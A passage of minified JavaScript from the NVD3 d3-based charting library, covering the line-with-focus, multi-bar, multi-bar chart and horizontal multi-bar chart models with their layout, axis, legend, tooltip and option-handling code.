"+6.5*c+","+(d+6)+"V"+(2*d-6)+"A6,6 0 0 "+b+" "+.5*c+","+2*d+"ZM"+2.5*c+","+(d+8)+"V"+(2*d-8)+"M"+4.5*c+","+(d+8)+"V"+(2*d-8)}function G(){n.empty()||n.extent(y),U.data([n.empty()?e.domain():y]).each(function(a){var b=e(a[0])-c.range()[0],d=K-e(a[1]);d3.select(this).select(".left").attr("width",0>b?0:b),d3.select(this).select(".right").attr("x",e(a[1])).attr("width",0>d?0:d)})}function H(){y=n.empty()?null:n.extent();var a=n.empty()?e.domain():n.extent();if(!(Math.abs(a[0]-a[1])<=1)){A.brush({extent:a,brush:n}),G();var b=Q.select(".nv-focus .nv-linesWrap").datum(o.filter(function(a){return!a.disabled}).map(function(b){return{key:b.key,area:b.area,values:b.values.filter(function(b,c){return g.x()(b,c)>=a[0]&&g.x()(b,c)<=a[1]})}}));b.transition().duration(B).call(g),Q.select(".nv-focus .nv-x.nv-axis").transition().duration(B).call(i),Q.select(".nv-focus .nv-y.nv-axis").transition().duration(B).call(j)}}var I=d3.select(this),J=this;a.utils.initSVG(I);var K=a.utils.availableWidth(t,I,q),L=a.utils.availableHeight(u,I,q)-v,M=v-r.top-r.bottom;if(b.update=function(){I.transition().duration(B).call(b)},b.container=this,C.setter(F(o),b.update).getter(E(o)).update(),C.disabled=o.map(function(a){return!!a.disabled}),!D){var N;D={};for(N in C)D[N]=C[N]instanceof Array?C[N].slice(0):C[N]}if(!(o&&o.length&&o.filter(function(a){return a.values.length}).length))return a.utils.noData(b,I),b;I.selectAll(".nv-noData").remove(),c=g.xScale(),d=g.yScale(),e=h.xScale(),f=h.yScale();var O=I.selectAll("g.nv-wrap.nv-lineWithFocusChart").data([o]),P=O.enter().append("g").attr("class","nvd3 nv-wrap nv-lineWithFocusChart").append("g"),Q=O.select("g");P.append("g").attr("class","nv-legendWrap");var R=P.append("g").attr("class","nv-focus");R.append("g").attr("class","nv-x nv-axis"),R.append("g").attr("class","nv-y nv-axis"),R.append("g").attr("class","nv-linesWrap"),R.append("g").attr("class","nv-interactive");var S=P.append("g").attr("class","nv-context");S.append("g").attr("class","nv-x nv-axis"),S.append("g").attr("class","nv-y nv-axis"),S.append("g").attr("class","nv-linesWrap"),S.append("g").attr("class","nv-brushBackground"),S.append("g").attr("class","nv-x nv-brush"),x&&(m.width(K),Q.select(".nv-legendWrap").datum(o).call(m),q.top!=m.height()&&(q.top=m.height(),L=a.utils.availableHeight(u,I,q)-v),Q.select(".nv-legendWrap").attr("transform","translate(0,"+-q.top+")")),O.attr("transform","translate("+q.left+","+q.top+")"),w&&(p.width(K).height(L).margin({left:q.left,top:q.top}).svgContainer(I).xScale(c),O.select(".nv-interactive").call(p)),g.width(K).height(L).color(o.map(function(a,b){return a.color||s(a,b)}).filter(function(a,b){return!o[b].disabled})),h.defined(g.defined()).width(K).height(M).color(o.map(function(a,b){return a.color||s(a,b)}).filter(function(a,b){return!o[b].disabled})),Q.select(".nv-context").attr("transform","translate(0,"+(L+q.bottom+r.top)+")");var T=Q.select(".nv-context .nv-linesWrap").datum(o.filter(function(a){return!a.disabled}));d3.transition(T).call(h),i.scale(c)._ticks(a.utils.calcTicksX(K/100,o)).tickSize(-L,0),j.scale(d)._ticks(a.utils.calcTicksY(L/36,o)).tickSize(-K,0),Q.select(".nv-focus .nv-x.nv-axis").attr("transform","translate(0,"+L+")"),n.x(e).on("brush",function(){H()}),y&&n.extent(y);var U=Q.select(".nv-brushBackground").selectAll("g").data([y||n.extent()]),V=U.enter().append("g");V.append("rect").attr("class","left").attr("x",0).attr("y",0).attr("height",M),V.append("rect").attr("class","right").attr("x",0).attr("y",0).attr("height",M);var W=Q.select(".nv-x.nv-brush").call(n);W.selectAll("rect").attr("height",M),W.selectAll(".resize").append("path").attr("d",z),H(),k.scale(e)._ticks(a.utils.calcTicksX(K/100,o)).tickSize(-M,0),Q.select(".nv-context .nv-x.nv-axis").attr("transform","translate(0,"+f.range()[0]+")"),d3.transition(Q.select(".nv-context .nv-x.nv-axis")).call(k),l.scale(f)._ticks(a.utils.calcTicksY(M/36,o)).tickSize(-K,0),d3.transition(Q.select(".nv-context .nv-y.nv-axis")).call(l),Q.select(".nv-context .nv-x.nv-axis").attr("transform","translate(0,"+f.range()[0]+")"),m.dispatch.on("stateChange",function(a){for(var c in a)C[c]=a[c];A.stateChange(C),b.update()}),p.dispatch.on("elementMousemove",function(c){g.clearHighlights();var d,f,h,k=[];if(o.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(i,j){var l=n.empty()?e.domain():n.extent(),m=i.values.filter(function(a,b){return g.x()(a,b)>=l[0]&&g.x()(a,b)<=l[1]});f=a.interactiveBisect(m,c.pointXValue,g.x());var o=m[f],p=b.y()(o,f);null!=p&&g.highlightPoint(j,f,!0),void 0!==o&&(void 0===d&&(d=o),void 0===h&&(h=b.xScale()(b.x()(o,f))),k.push({key:i.key,value:b.y()(o,f),color:s(i,i.seriesIndex)}))}),k.length>2){var l=b.yScale().invert(c.mouseY),m=Math.abs(b.yScale().domain()[0]-b.yScale().domain()[1]),r=.03*m,t=a.nearestValueIndex(k.map(function(a){return a.value}),l,r);null!==t&&(k[t].highlight=!0)}var u=i.tickFormat()(b.x()(d,f));p.tooltip.position({left:c.mouseX+q.left,top:c.mouseY+q.top}).chartContainer(J.parentNode).valueFormatter(function(a){return null==a?"N/A":j.tickFormat()(a)}).data({value:u,index:f,series:k})(),p.renderGuideLine(h)}),p.dispatch.on("elementMouseout",function(){g.clearHighlights()}),A.on("changeState",function(a){"undefined"!=typeof a.disabled&&o.forEach(function(b,c){b.disabled=a.disabled[c]}),b.update()})}),b}var c,d,e,f,g=a.models.line(),h=a.models.line(),i=a.models.axis(),j=a.models.axis(),k=a.models.axis(),l=a.models.axis(),m=a.models.legend(),n=d3.svg.brush(),o=a.models.tooltip(),p=a.interactiveGuideline(),q={top:30,right:30,bottom:30,left:60},r={top:0,right:30,bottom:20,left:60},s=a.utils.defaultColor(),t=null,u=null,v=50,w=!1,x=!0,y=null,z=null,A=d3.dispatch("brush","stateChange","changeState"),B=250,C=a.utils.state(),D=null;g.clipEdge(!0).duration(0),h.interactive(!1),i.orient("bottom").tickPadding(5),j.orient("left"),k.orient("bottom").tickPadding(5),l.orient("left"),o.valueFormatter(function(a,b){return j.tickFormat()(a,b)}).headerFormatter(function(a,b){return i.tickFormat()(a,b)});var E=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},F=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return g.dispatch.on("elementMouseover.tooltip",function(a){o.data(a).position(a.pos).hidden(!1)}),g.dispatch.on("elementMouseout.tooltip",function(){o.hidden(!0)}),b.dispatch=A,b.legend=m,b.lines=g,b.lines2=h,b.xAxis=i,b.yAxis=j,b.x2Axis=k,b.y2Axis=l,b.interactiveLayer=p,b.tooltip=o,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return t},set:function(a){t=a}},height:{get:function(){return u},set:function(a){u=a}},focusHeight:{get:function(){return v},set:function(a){v=a}},showLegend:{get:function(){return x},set:function(a){x=a}},brushExtent:{get:function(){return y},set:function(a){y=a}},defaultState:{get:function(){return D},set:function(a){D=a}},noData:{get:function(){return z},set:function(a){z=a}},tooltips:{get:function(){return o.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),o.enabled(!!b)}},tooltipContent:{get:function(){return o.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),o.contentGenerator(b)}},margin:{get:function(){return q},set:function(a){q.top=void 0!==a.top?a.top:q.top,q.right=void 0!==a.right?a.right:q.right,q.bottom=void 0!==a.bottom?a.bottom:q.bottom,q.left=void 0!==a.left?a.left:q.left}},color:{get:function(){return s},set:function(b){s=a.utils.getColor(b),m.color(s)}},interpolate:{get:function(){return g.interpolate()},set:function(a){g.interpolate(a),h.interpolate(a)}},xTickFormat:{get:function(){return i.tickFormat()},set:function(a){i.tickFormat(a),k.tickFormat(a)}},yTickFormat:{get:function(){return j.tickFormat()},set:function(a){j.tickFormat(a),l.tickFormat(a)}},duration:{get:function(){return B},set:function(a){B=a,j.duration(B),l.duration(B),i.duration(B),k.duration(B)}},x:{get:function(){return g.x()},set:function(a){g.x(a),h.x(a)}},y:{get:function(){return g.y()},set:function(a){g.y(a),h.y(a)}},useInteractiveGuideline:{get:function(){return w},set:function(a){w=a,w&&(g.interactive(!1),g.useVoronoi(!1))}}}),a.utils.inheritOptions(b,g),a.utils.initOptions(b),b},a.models.multiBar=function(){"use strict";function b(E){return C.reset(),E.each(function(b){var E=k-j.left-j.right,F=l-j.top-j.bottom;p=d3.select(this),a.utils.initSVG(p);var G=0;if(x&&b.length&&(x=[{values:b[0].values.map(function(a){return{x:a.x,y:0,series:a.series,size:.01}})}]),u){var H=d3.layout.stack().offset(v).values(function(a){return a.values}).y(r)(!b.length&&x?x:b);H.forEach(function(a,c){a.nonStackable?(b[c].nonStackableSeries=G++,H[c]=b[c]):c>0&&H[c-1].nonStackable&&H[c].values.map(function(a,b){a.y0-=H[c-1].values[b].y,a.y1=a.y0+a.y})}),b=H}b.forEach(function(a,b){a.values.forEach(function(c){c.series=b,c.key=a.key})}),u&&b[0].values.map(function(a,c){var d=0,e=0;b.map(function(a,f){if(!b[f].nonStackable){var g=a.values[c];g.size=Math.abs(g.y),g.y<0?(g.y1=e,e-=g.size):(g.y1=g.size+d,d+=g.size)}})});var I=d&&e?[]:b.map(function(a,b){return a.values.map(function(a,c){return{x:q(a,c),y:r(a,c),y0:a.y0,y1:a.y1,idx:b}})});m.domain(d||d3.merge(I).map(function(a){return a.x})).rangeBands(f||[0,E],A),n.domain(e||d3.extent(d3.merge(I).map(function(a){var c=a.y;return u&&!b[a.idx].nonStackable&&(c=a.y>0?a.y1:a.y1+a.y),c}).concat(s))).range(g||[F,0]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]-.01*m.domain()[0],m.domain()[1]+.01*m.domain()[1]]:[-1,1]),n.domain()[0]===n.domain()[1]&&n.domain(n.domain()[0]?[n.domain()[0]+.01*n.domain()[0],n.domain()[1]-.01*n.domain()[1]]:[-1,1]),h=h||m,i=i||n;var J=p.selectAll("g.nv-wrap.nv-multibar").data([b]),K=J.enter().append("g").attr("class","nvd3 nv-wrap nv-multibar"),L=K.append("defs"),M=K.append("g"),N=J.select("g");M.append("g").attr("class","nv-groups"),J.attr("transform","translate("+j.left+","+j.top+")"),L.append("clipPath").attr("id","nv-edge-clip-"+o).append("rect"),J.select("#nv-edge-clip-"+o+" rect").attr("width",E).attr("height",F),N.attr("clip-path",t?"url(#nv-edge-clip-"+o+")":"");var O=J.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a,b){return b});O.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6);var P=C.transition(O.exit().selectAll("rect.nv-bar"),"multibarExit",Math.min(100,z)).attr("y",function(a){var c=i(0)||0;return u&&b[a.series]&&!b[a.series].nonStackable&&(c=i(a.y0)),c}).attr("height",0).remove();P.delay&&P.delay(function(a,b){var c=b*(z/(D+1))-b;return c}),O.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}).style("fill",function(a,b){return w(a,b)}).style("stroke",function(a,b){return w(a,b)}),O.style("stroke-opacity",1).style("fill-opacity",.75);var Q=O.selectAll("rect.nv-bar").data(function(a){return x&&!b.length?x.values:a.values});Q.exit().remove();Q.enter().append("rect").attr("class",function(a,b){return r(a,b)<0?"nv-bar negative":"nv-bar positive"}).attr("x",function(a,c,d){return u&&!b[d].nonStackable?0:d*m.rangeBand()/b.length}).attr("y",function(a,c,d){return i(u&&!b[d].nonStackable?a.y0:0)||0}).attr("height",0).attr("width",function(a,c,d){return m.rangeBand()/(u&&!b[d].nonStackable?1:b.length)}).attr("transform",function(a,b){return"translate("+m(q(a,b))+",0)"});Q.style("fill",function(a,b,c){return w(a,c,b)}).style("stroke",function(a,b,c){return w(a,c,b)}).on("mouseover",function(a,b){d3.select(this).classed("hover",!0),B.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),B.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mousemove",function(a,b){B.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){B.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}).on("dblclick",function(a,b){B.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}),Q.attr("class",function(a,b){return r(a,b)<0?"nv-bar negative":"nv-bar positive"}).attr("transform",function(a,b){return"translate("+m(q(a,b))+",0)"}),y&&(c||(c=b.map(function(){return!0})),Q.style("fill",function(a,b,d){return d3.rgb(y(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()}).style("stroke",function(a,b,d){return d3.rgb(y(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()}));var R=Q.watchTransition(C,"multibar",Math.min(250,z)).delay(function(a,c){return c*z/b[0].values.length});u?R.attr("y",function(a,c,d){var e=0;return e=b[d].nonStackable?r(a,c)<0?n(0):n(0)-n(r(a,c))<-1?n(0)-1:n(r(a,c))||0:n(a.y1)}).attr("height",function(a,c,d){return b[d].nonStackable?Math.max(Math.abs(n(r(a,c))-n(0)),1)||0:Math.max(Math.abs(n(a.y+a.y0)-n(a.y0)),1)}).attr("x",function(a,c,d){var e=0;return b[d].nonStackable&&(e=a.series*m.rangeBand()/b.length,b.length!==G&&(e=b[d].nonStackableSeries*m.rangeBand()/(2*G))),e}).attr("width",function(a,c,d){if(b[d].nonStackable){var e=m.rangeBand()/G;return b.length!==G&&(e=m.rangeBand()/(2*G)),e}return m.rangeBand()}):R.attr("x",function(a){return a.series*m.rangeBand()/b.length}).attr("width",m.rangeBand()/b.length).attr("y",function(a,b){return r(a,b)<0?n(0):n(0)-n(r(a,b))<1?n(0)-1:n(r(a,b))||0}).attr("height",function(a,b){return Math.max(Math.abs(n(r(a,b))-n(0)),1)||0}),h=m.copy(),i=n.copy(),b[0]&&b[0].values&&(D=b[0].values.length)}),C.renderEnd("multibar immediate"),b}var c,d,e,f,g,h,i,j={top:0,right:0,bottom:0,left:0},k=960,l=500,m=d3.scale.ordinal(),n=d3.scale.linear(),o=Math.floor(1e4*Math.random()),p=null,q=function(a){return a.x},r=function(a){return a.y},s=[0],t=!0,u=!1,v="zero",w=a.utils.defaultColor(),x=!1,y=null,z=500,A=.1,B=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),C=a.utils.renderWatch(B,z),D=0;return b.dispatch=B,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},x:{get:function(){return q},set:function(a){q=a}},y:{get:function(){return r},set:function(a){r=a}},xScale:{get:function(){return m},set:function(a){m=a}},yScale:{get:function(){return n},set:function(a){n=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},forceY:{get:function(){return s},set:function(a){s=a}},stacked:{get:function(){return u},set:function(a){u=a}},stackOffset:{get:function(){return v},set:function(a){v=a}},clipEdge:{get:function(){return t},set:function(a){t=a}},disabled:{get:function(){return c},set:function(a){c=a}},id:{get:function(){return o},set:function(a){o=a}},hideable:{get:function(){return x},set:function(a){x=a}},groupSpacing:{get:function(){return A},set:function(a){A=a}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},duration:{get:function(){return z},set:function(a){z=a,C.reset(z)}},color:{get:function(){return w},set:function(b){w=a.utils.getColor(b)}},barColor:{get:function(){return y},set:function(b){y=b?a.utils.getColor(b):null}}}),a.utils.initOptions(b),b},a.models.multiBarChart=function(){"use strict";function b(j){return D.reset(),D.models(e),r&&D.models(f),s&&D.models(g),j.each(function(j){var z=d3.select(this);a.utils.initSVG(z);var D=a.utils.availableWidth(l,z,k),H=a.utils.availableHeight(m,z,k);if(b.update=function(){0===C?z.call(b):z.transition().duration(C).call(b)},b.container=this,x.setter(G(j),b.update).getter(F(j)).update(),x.disabled=j.map(function(a){return!!a.disabled}),!y){var I;y={};for(I in x)y[I]=x[I]instanceof Array?x[I].slice(0):x[I]}if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,z),b;z.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale(); var J=z.selectAll("g.nv-wrap.nv-multiBarWithLegend").data([j]),K=J.enter().append("g").attr("class","nvd3 nv-wrap nv-multiBarWithLegend").append("g"),L=J.select("g");if(K.append("g").attr("class","nv-x nv-axis"),K.append("g").attr("class","nv-y nv-axis"),K.append("g").attr("class","nv-barsWrap"),K.append("g").attr("class","nv-legendWrap"),K.append("g").attr("class","nv-controlsWrap"),q&&(h.width(D-B()),L.select(".nv-legendWrap").datum(j).call(h),k.top!=h.height()&&(k.top=h.height(),H=a.utils.availableHeight(m,z,k)),L.select(".nv-legendWrap").attr("transform","translate("+B()+","+-k.top+")")),o){var M=[{key:p.grouped||"Grouped",disabled:e.stacked()},{key:p.stacked||"Stacked",disabled:!e.stacked()}];i.width(B()).color(["#444","#444","#444"]),L.select(".nv-controlsWrap").datum(M).attr("transform","translate(0,"+-k.top+")").call(i)}J.attr("transform","translate("+k.left+","+k.top+")"),t&&L.select(".nv-y.nv-axis").attr("transform","translate("+D+",0)"),e.disabled(j.map(function(a){return a.disabled})).width(D).height(H).color(j.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!j[b].disabled}));var N=L.select(".nv-barsWrap").datum(j.filter(function(a){return!a.disabled}));if(N.call(e),r){f.scale(c)._ticks(a.utils.calcTicksX(D/100,j)).tickSize(-H,0),L.select(".nv-x.nv-axis").attr("transform","translate(0,"+d.range()[0]+")"),L.select(".nv-x.nv-axis").call(f);var O=L.select(".nv-x.nv-axis > g").selectAll("g");if(O.selectAll("line, text").style("opacity",1),v){var P=function(a,b){return"translate("+a+","+b+")"},Q=5,R=17;O.selectAll("text").attr("transform",function(a,b,c){return P(0,c%2==0?Q:R)});var S=d3.selectAll(".nv-x.nv-axis .nv-wrap g g text")[0].length;L.selectAll(".nv-x.nv-axis .nv-axisMaxMin text").attr("transform",function(a,b){return P(0,0===b||S%2!==0?R:Q)})}u&&O.filter(function(a,b){return b%Math.ceil(j[0].values.length/(D/100))!==0}).selectAll("text, line").style("opacity",0),w&&O.selectAll(".tick text").attr("transform","rotate("+w+" 0,0)").style("text-anchor",w>0?"start":"end"),L.select(".nv-x.nv-axis").selectAll("g.nv-axisMaxMin text").style("opacity",1)}s&&(g.scale(d)._ticks(a.utils.calcTicksY(H/36,j)).tickSize(-D,0),L.select(".nv-y.nv-axis").call(g)),h.dispatch.on("stateChange",function(a){for(var c in a)x[c]=a[c];A.stateChange(x),b.update()}),i.dispatch.on("legendClick",function(a){if(a.disabled){switch(M=M.map(function(a){return a.disabled=!0,a}),a.disabled=!1,a.key){case"Grouped":case p.grouped:e.stacked(!1);break;case"Stacked":case p.stacked:e.stacked(!0)}x.stacked=e.stacked(),A.stateChange(x),b.update()}}),A.on("changeState",function(a){"undefined"!=typeof a.disabled&&(j.forEach(function(b,c){b.disabled=a.disabled[c]}),x.disabled=a.disabled),"undefined"!=typeof a.stacked&&(e.stacked(a.stacked),x.stacked=a.stacked,E=a.stacked),b.update()})}),D.renderEnd("multibarchart immediate"),b}var c,d,e=a.models.multiBar(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend(),i=a.models.legend(),j=a.models.tooltip(),k={top:30,right:20,bottom:50,left:60},l=null,m=null,n=a.utils.defaultColor(),o=!0,p={},q=!0,r=!0,s=!0,t=!1,u=!0,v=!1,w=0,x=a.utils.state(),y=null,z=null,A=d3.dispatch("stateChange","changeState","renderEnd"),B=function(){return o?180:0},C=250;x.stacked=!1,e.stacked(!1),f.orient("bottom").tickPadding(7).showMaxMin(!1).tickFormat(function(a){return a}),g.orient(t?"right":"left").tickFormat(d3.format(",.1f")),j.duration(0).valueFormatter(function(a,b){return g.tickFormat()(a,b)}).headerFormatter(function(a,b){return f.tickFormat()(a,b)}),i.updateState(!1);var D=a.utils.renderWatch(A),E=!1,F=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),stacked:E}}},G=function(a){return function(b){void 0!==b.stacked&&(E=b.stacked),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return e.dispatch.on("elementMouseover.tooltip",function(a){a.value=b.x()(a.data),a.series={key:a.data.key,value:b.y()(a.data),color:a.color},j.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){j.hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){j.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=A,b.multibar=e,b.legend=h,b.controls=i,b.xAxis=f,b.yAxis=g,b.state=x,b.tooltip=j,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return l},set:function(a){l=a}},height:{get:function(){return m},set:function(a){m=a}},showLegend:{get:function(){return q},set:function(a){q=a}},showControls:{get:function(){return o},set:function(a){o=a}},controlLabels:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},defaultState:{get:function(){return y},set:function(a){y=a}},noData:{get:function(){return z},set:function(a){z=a}},reduceXTicks:{get:function(){return u},set:function(a){u=a}},rotateLabels:{get:function(){return w},set:function(a){w=a}},staggerLabels:{get:function(){return v},set:function(a){v=a}},tooltips:{get:function(){return j.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),j.enabled(!!b)}},tooltipContent:{get:function(){return j.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),j.contentGenerator(b)}},margin:{get:function(){return k},set:function(a){k.top=void 0!==a.top?a.top:k.top,k.right=void 0!==a.right?a.right:k.right,k.bottom=void 0!==a.bottom?a.bottom:k.bottom,k.left=void 0!==a.left?a.left:k.left}},duration:{get:function(){return C},set:function(a){C=a,e.duration(C),f.duration(C),g.duration(C),D.reset(C)}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),h.color(n)}},rightAlignYAxis:{get:function(){return t},set:function(a){t=a,g.orient(t?"right":"left")}},barColor:{get:function(){return e.barColor},set:function(a){e.barColor(a),h.color(function(a,b){return d3.rgb("#ccc").darker(1.5*b).toString()})}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.multiBarHorizontal=function(){"use strict";function b(m){return E.reset(),m.each(function(b){var m=k-j.left-j.right,C=l-j.top-j.bottom;n=d3.select(this),a.utils.initSVG(n),w&&(b=d3.layout.stack().offset("zero").values(function(a){return a.values}).y(r)(b)),b.forEach(function(a,b){a.values.forEach(function(c){c.series=b,c.key=a.key})}),w&&b[0].values.map(function(a,c){var d=0,e=0;b.map(function(a){var b=a.values[c];b.size=Math.abs(b.y),b.y<0?(b.y1=e-b.size,e-=b.size):(b.y1=d,d+=b.size)})});var F=d&&e?[]:b.map(function(a){return a.values.map(function(a,b){return{x:q(a,b),y:r(a,b),y0:a.y0,y1:a.y1}})});o.domain(d||d3.merge(F).map(function(a){return a.x})).rangeBands(f||[0,C],A),p.domain(e||d3.extent(d3.merge(F).map(function(a){return w?a.y>0?a.y1+a.y:a.y1:a.y}).concat(t))),p.range(x&&!w?g||[p.domain()[0]<0?z:0,m-(p.domain()[1]>0?z:0)]:g||[0,m]),h=h||o,i=i||d3.scale.linear().domain(p.domain()).range([p(0),p(0)]);{var G=d3.select(this).selectAll("g.nv-wrap.nv-multibarHorizontal").data([b]),H=G.enter().append("g").attr("class","nvd3 nv-wrap nv-multibarHorizontal"),I=(H.append("defs"),H.append("g"));G.select("g")}I.append("g").attr("class","nv-groups"),G.attr("transform","translate("+j.left+","+j.top+")");var J=G.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a,b){return b});J.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6),J.exit().watchTransition(E,"multibarhorizontal: exit groups").style("stroke-opacity",1e-6).style("fill-opacity",1e-6).remove(),J.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}).style("fill",function(a,b){return u(a,b)}).style("stroke",function(a,b){return u(a,b)}),J.watchTransition(E,"multibarhorizontal: groups").style("stroke-opacity",1).style("fill-opacity",.75);var K=J.selectAll("g.nv-bar").data(function(a){return a.values});K.exit().remove();var L=K.enter().append("g").attr("transform",function(a,c,d){return"translate("+i(w?a.y0:0)+","+(w?0:d*o.rangeBand()/b.length+o(q(a,c)))+")"});L.append("rect").attr("width",0).attr("height",o.rangeBand()/(w?1:b.length)),K.on("mouseover",function(a,b){d3.select(this).classed("hover",!0),D.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),D.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){D.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mousemove",function(a,b){D.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){D.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}).on("dblclick",function(a,b){D.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}),s(b[0],0)&&(L.append("polyline"),K.select("polyline").attr("fill","none").attr("points",function(a,c){var d=s(a,c),e=.8*o.rangeBand()/(2*(w?1:b.length));d=d.length?d:[-Math.abs(d),Math.abs(d)],d=d.map(function(a){return p(a)-p(0)});var f=[[d[0],-e],[d[0],e],[d[0],0],[d[1],0],[d[1],-e],[d[1],e]];return f.map(function(a){return a.join(",")}).join(" ")}).attr("transform",function(a,c){var d=o.rangeBand()/(2*(w?1:b.length));return"translate("+(r(a,c)<0?0:p(r(a,c))-p(0))+", "+d+")"})),L.append("text"),x&&!w?(K.select("text").attr("text-anchor",function(a,b){return r(a,b)<0?"end":"start"}).attr("y",o.rangeBand()/(2*b.length)).attr("dy",".32em").text(function(a,b){var c=B(r(a,b)),d=s(a,b);return void 0===d?c:d.length?c+"+"+B(Math.abs(d[1]))+"-"+B(Math.abs(d[0])):c+"±"+B(Math.abs(d))}),K.watchTransition(E,"multibarhorizontal: bars").select("text").attr("x",function(a,b){return r(a,b)<0?-4:p(r(a,b))-p(0)+4})):K.selectAll("text").text(""),y&&!w?(L.append("text").classed("nv-bar-label",!0),K.select("text.nv-bar-label").attr("text-anchor",function(a,b){return r(a,b)<0?"start":"end"}).attr("y",o.rangeBand()/(2*b.length)).attr("dy",".32em").text(function(a,b){return q(a,b)}),K.watchTransition(E,"multibarhorizontal: bars").select("text.nv-bar-label").attr("x",function(a,b){return r(a,b)<0?p(0)-p(r(a,b))+4:-4})):K.selectAll("text.nv-bar-label").text(""),K.attr("class",function(a,b){return r(a,b)<0?"nv-bar negative":"nv-bar positive"}),v&&(c||(c=b.map(function(){return!0})),K.style("fill",function(a,b,d){return d3.rgb(v(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()}).style("stroke",function(a,b,d){return d3.rgb(v(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()})),w?K.watchTransition(E,"multibarhorizontal: bars").attr("transform",function(a,b){return"translate("+p(a.y1)+","+o(q(a,b))+")"}).select("rect").attr("width",function(a,b){return Math.abs(p(r(a,b)+a.y0)-p(a.y0))}).attr("height",o.rangeBand()):K.watchTransition(E,"multibarhorizontal: bars").attr("transform",function(a,c){return"translate("+p(r(a,c)<0?r(a,c):0)+","+(a.series*o.rangeBand()/b.length+o(q(a,c)))+")"}).select("rect").attr("height",o.rangeBand()/b.length).attr("width",function(a,b){return Math.max(Math.abs(p(r(a,b))-p(0)),1)}),h=o.copy(),i=p.copy()}),E.renderEnd("multibarHorizontal immediate"),b}var c,d,e,f,g,h,i,j={top:0,right:0,bottom:0,left:0},k=960,l=500,m=Math.floor(1e4*Math.random()),n=null,o=d3.scale.ordinal(),p=d3.scale.linear(),q=function(a){return a.x},r=function(a){return a.y},s=function(a){return a.yErr},t=[0],u=a.utils.defaultColor(),v=null,w=!1,x=!1,y=!1,z=60,A=.1,B=d3.format(",.2f"),C=250,D=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),E=a.utils.renderWatch(D,C);return b.dispatch=D,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},x:{get:function(){return q},set:function(a){q=a}},y:{get:function(){return r},set:function(a){r=a}},yErr:{get:function(){return s},set:function(a){s=a}},xScale:{get:function(){return o},set:function(a){o=a}},yScale:{get:function(){return p},set:function(a){p=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},forceY:{get:function(){return t},set:function(a){t=a}},stacked:{get:function(){return w},set:function(a){w=a}},showValues:{get:function(){return 